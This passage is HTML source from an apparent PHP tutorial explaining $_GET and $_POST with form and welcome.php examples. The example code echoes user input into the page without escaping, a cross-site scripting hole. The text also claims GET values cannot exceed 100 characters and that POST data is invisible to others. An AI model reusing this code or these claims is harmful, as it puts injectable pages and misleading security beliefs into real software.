&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0627ed0edc-2&quot;&gt;
&lt;span class=&quot;crayon-i&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;input &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;text&quot;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a9a73dcf-09eb-4548-9c3d-c8b0c50969a7&quot; id=&quot;f211434f-1b03-4126-a19c-0d0ab80affd8&quot;&gt;fname&lt;/span&gt;&quot;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0627ed0edc-3&quot;&gt;
&lt;span class=&quot;crayon-i&quot;&gt;Age&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;input &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;text&quot;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;age&quot;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0627ed0edc-4&quot;&gt;
&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;6d660894-ac2c-4580-a5fc-76b87fcff86f&quot; id=&quot;291e6761-e88c-40a6-b1de-f12b3f4f0223&quot;&gt;input&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;submit&quot;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0627ed0edc-5&quot;&gt;
&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;68d3130a-9e76-4abf-a6b1-6eb4e84b9425&quot; id=&quot;afcdbc7c-5c3c-4b46-a28d-23461bc52d0a&quot;&gt;form&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
     &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
When the user clicks the “Submit” button, the URL sent to the server could look something like this:&lt;br /&gt;

&lt;code&gt;http://www.voidtricks.com/welcome.php?fname=Peter&amp;amp;age=37&lt;/code&gt;&lt;br /&gt;

The “&lt;em&gt;welcome.php&lt;/em&gt;” file can now use the $_GET function &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;87556939-948e-423e-b654-21b461347c35&quot; id=&quot;93bbdd52-edfc-4c5c-b749-baa2598f77bb&quot;&gt;to&lt;/span&gt; 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;8750a5f0-5f89-45c2-a2dd-bf6183ff1126&quot; id=&quot;5a0dcb6c-eb5a-40a6-9ca0-9d4926bf28a1&quot;&gt;collect&lt;/span&gt; form data (the names of the form fields will automatically be 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;01e2af0e-5b61-41d6-8aef-77e8798770e9&quot; id=&quot;df1be72e-1312-477a-9d08-529bcd6597ed&quot;&gt;the&lt;/span&gt; keys in the $_GET array):&lt;br /&gt;



  &lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d0627ed0f29&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
  
   
   
   &lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;Welcome &lt;?&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d5177122-be68-4891-ac96-fe2551aa4ee1&quot; id=&quot;df16971c-8a98-4d01-814f-04c8ae121c7d&quot;&gt;php&lt;/span&gt; echo $_GET&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d5177122-be68-4891-ac96-fe2551aa4ee1&quot; id=&quot;7f7d235d-9d68-44b0-acb9-12b8bf6f818c&quot;&gt;[&lt;/span&gt;&quot;fname&quot;]; ?&gt;.&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;1b6069ba-6b2d-4a14-8cf5-d0b7df7ad826&quot; id=&quot;ecaa06b7-c981-48a6-922f-ccd011535412&quot;&gt;br&lt;/span&gt; /&gt;
You are &lt;?&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;21f61748-ede0-426c-8806-1b93925e669b&quot; id=&quot;e0e21bb2-7b98-4887-9fe7-48bb43994953&quot;&gt;php&lt;/span&gt; echo $_GET&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;21f61748-ede0-426c-8806-1b93925e669b&quot; id=&quot;39a53718-f087-4b0a-9091-e4c0a2d1d58b&quot;&gt;[&lt;/span&gt;&quot;age&quot;]; ?&gt; &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;097ae419-73f6-4008-b22f-d4e58931f32c&quot; id=&quot;fe7fc8de-ab21-4a23-92cc-0db1a5ffcbc8&quot;&gt;years&lt;/span&gt; old!&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
    &lt;table class=&quot;crayon-table&quot;&gt;
     &lt;tbody&gt;
&lt;tr class=&quot;crayon-row alt&quot;&gt;
    &lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
     &lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0627ed0f29-1&quot;&gt;
1&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0627ed0f29-2&quot;&gt;
2&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
      &lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0627ed0f29-1&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;Welcome&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-ta&quot;&gt;&amp;lt;?&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;06e9dd00-31d9-4468-8c20-61d6a0743a25&quot; id=&quot;9d9153e1-293b-48cf-b88e-29da1dc23166&quot;&gt;php&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-k &quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;06e9dd00-31d9-4468-8c20-61d6a0743a25&quot; id=&quot;75e44829-cc7f-4b9c-a84d-9fe0f43e3ef1&quot;&gt;[&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;fname&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-ta&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;b1ca94bd-9978-4fb3-ae7e-66749e294ddb&quot; id=&quot;7e8d8a3a-d07f-4995-9b19-c281007ec91f&quot;&gt;br&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0627ed0f29-2&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;You&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;are&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-ta&quot;&gt;&amp;lt;?&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;07570e06-575a-4362-8d86-14fca403e4d1&quot; id=&quot;bdc260e7-bc1e-4b16-b1a9-0c42e0d8211c&quot;&gt;php&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-k &quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;07570e06-575a-4362-8d86-14fca403e4d1&quot; id=&quot;ce04ee62-ef53-4190-8d5b-ba2e4dfa0bc8&quot;&gt;[&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;age&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-ta&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;40587154-f9b7-47a2-a85d-1198d2d82d39&quot; id=&quot;bd022629-6054-48df-a7b0-bc176b94465a&quot;&gt;years&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;old&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;!&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
     &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;
When to use method=”get”?&lt;/h3&gt;
When using method=”get” in HTML forms, all variable names and values are displayed in the URL.&lt;br /&gt;

&lt;strong&gt;Note&lt;/strong&gt;: This method should not be used when sending passwords or other sensitive information!&lt;br /&gt;

However, because the variables are displayed in the URL, it is possible to bookmark the page. This can be useful in some cases.&lt;br /&gt;

&lt;strong&gt;Note&lt;/strong&gt;: The get method is not suitable for large variable values; the value cannot exceed 100 characters.&lt;br /&gt;

The built-in $_POST function is used to collect values in a form with method=”post”&lt;br /&gt;

&lt;h3&gt;
The $_POST Function&lt;/h3&gt;
The built-in $_POST function is used to collect values from a form sent with method=”post”.&lt;br /&gt;

Information sent from a form with the POST method is invisible to others and has no limits on the amount of information to send.&lt;br /&gt;

&lt;strong&gt;Note&lt;/strong&gt;: However, there is an 8 &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7d3405fa-856c-4428-9f2d-c480b50ffa4f&quot; id=&quot;c8218437-1a38-4040-be7c-5219b48b06db&quot;&gt;Mb&lt;/span&gt; max size for the 
POST method, by default (can be changed by setting the post_max_size in 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;9c6cc5c8-7d47-4cbe-bc32-bc7ff2d03da4&quot; id=&quot;7347bb61-736c-47a8-a537-3f953925f60a&quot;&gt;the&lt;/span&gt; php.ini file).&lt;br /&gt;

&lt;h5&gt;
Example&lt;/h5&gt;
&lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d0627ed0f71&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
  
   
   
   &lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7cea88d1-5df6-401b-b177-4d5524eb56a6&quot; id=&quot;af19071c-8df3-4ea1-8f54-5718126c47c3&quot;&gt;form&lt;/span&gt; action=&quot;welcome.php&quot; method=&quot;post&quot;&gt;
Name: &lt;input type=&quot;text&quot; name=&quot;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;49673d04-b822-4258-b924-6406e9d6c001&quot; id=&quot;096aa3b4-2d5a-4d67-a966-1c95bfc783a3&quot;&gt;fname&lt;/span&gt;&quot; /&gt;
Age: &lt;input type=&quot;text&quot; name=&quot;age&quot; /&gt;
&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;df3cf4c6-daa5-4dd6-88fb-52688cff9cba&quot; id=&quot;fa06cc72-b3ed-4853-a3cb-0f7688511836&quot;&gt;input&lt;/span&gt; type=&quot;submit&quot; /&gt;
&lt;/&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;74e98848-b03f-44d1-8e40-762e937456e5&quot; id=&quot;e182dbc2-25b7-48fa-8c3d-9fee65273d7e&quot;&gt;form&lt;/span&gt;&gt;&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
    &lt;table class=&quot;crayon-table&quot;&gt;
     &lt;tbody&gt;
&lt;tr class=&quot;crayon-row&quot;&gt;
    &lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
     &lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0627ed0f71-1&quot;&gt;
1&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0627ed0f71-2&quot;&gt;
2&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0627ed0f71-3&quot;&gt;
3&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0627ed0f71-4&quot;&gt;
4&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0627ed0f71-5&quot;&gt;
5&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
      &lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0627ed0f71-1&quot;&gt;
&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;4fae912c-246c-40e6-bdaf-ad30f8929640&quot; id=&quot;ff421f78-00ea-4ba1-8dbd-c1c8f8004be6&quot;&gt;form&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;welcome.php&quot;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;post&quot;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0627ed0f71-2&quot;&gt;
&lt;span class=&quot;crayon-i&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;input &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;text&quot;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;1ba492ce-d146-40ce-a386-5bda5b9a1fdf&quot; id=&quot;3c51aea3-5a87-435b-827b-da8feaf6a6bc&quot;&gt;fname&lt;/span&gt;&quot;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0627ed0f71-3&quot;&gt;
&lt;span class=&quot;crayon-i&quot;&gt;Age&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;input &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;text&quot;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;age&quot;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0627ed0f71-4&quot;&gt;
&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;c3e143f4-8aa8-489b-aeb5-9552f877b119&quot; id=&quot;e4bed9bf-ecec-479f-b62e-60c00faba9c0&quot;&gt;input&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;submit&quot;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0627ed0f71-5&quot;&gt;
&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e272c3cb-7574-4d94-9a4e-59876645c63f&quot; id=&quot;b8441910-20f2-4274-a463-3b5abcb5769e&quot;&gt;form&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
     &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
When the user clicks the “Submit” button, the URL will look like this:&lt;br /&gt;

&lt;code&gt;http://www.voidtricks.com/welcome.php&lt;/code&gt;&lt;br /&gt;

The “welcome.php” file can now use the $_POST function to collect 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;482344b3-4aa5-4406-bb7b-0bb0ce4681ca&quot; id=&quot;d907f60d-0f67-4d80-acac-0e354a28b36a&quot;&gt;form&lt;/span&gt; data (the names of the form fields will automatically be the keys 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ee92325d-551c-45a5-ac69-b1f11c58103b&quot; id=&quot;656e4bb8-01b8-411f-ab2c-8817def36eee&quot;&gt;in&lt;/span&gt; the $_POST array):&lt;br /&gt;



  &lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d0627ed0fb8&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
  
   
   
   &lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;Welcome &lt;?&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;5648a1d0-6aad-40a0-8279-d61eaf84854b&quot; id=&quot;1786fb53-05fd-4a59-9a72-993caa0e1d36&quot;&gt;php&lt;/span&gt; echo $_POST&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;5648a1d0-6aad-40a0-8279-d61eaf84854b&quot; id=&quot;ca3bec8f-5e42-4e98-bc55-b286fc6d6235&quot;&gt;[&lt;/span&gt;&quot;fname&quot;]; ?&gt;!&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;313adbe4-fdde-4e0b-bb59-92219421e809&quot; id=&quot;67eb3323-59c8-4152-9aa0-448be7906c04&quot;&gt;br&lt;/span&gt; /&gt;
You are &lt;?&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;3ae1375e-fefe-44d8-bd46-45ec17a343cf&quot; id=&quot;eadec4ff-80e0-443e-a1fc-4cd8e45e2370&quot;&gt;php&lt;/span&gt; echo $_POST&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;3ae1375e-fefe-44d8-bd46-45ec17a343cf&quot; id=&quot;aa9ae329-9781-402e-acc5-7306647a3ada&quot;&gt;[&lt;/span&gt;&quot;age&quot;]; ?&gt; &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e9239178-cfa8-45c0-845f-e50fcdb5c394&quot; id=&quot;a368e2bf-3860-4675-942e-17766d7d968d&quot;&gt;years&lt;/span&gt; old.&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
    &lt;table class=&quot;crayon-table&quot;&gt;
     &lt;tbody&gt;
&lt;tr class=&quot;crayon-row alt&quot;&gt;
    &lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
     &lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0627ed0fb8-1&quot;&gt;
1&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0627ed0fb8-2&quot;&gt;
2&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
      &lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0627ed0fb8-1&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;Welcome&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-ta&quot;&gt;&amp;lt;?&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ddcc4b4f-2b25-4b3a-bfb5-7fc071aa5d35&quot; id=&quot;989d625f-5628-499f-a65e-b394806e6725&quot;&gt;php&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-k &quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ddcc4b4f-2b25-4b3a-bfb5-7fc071aa5d35&quot; 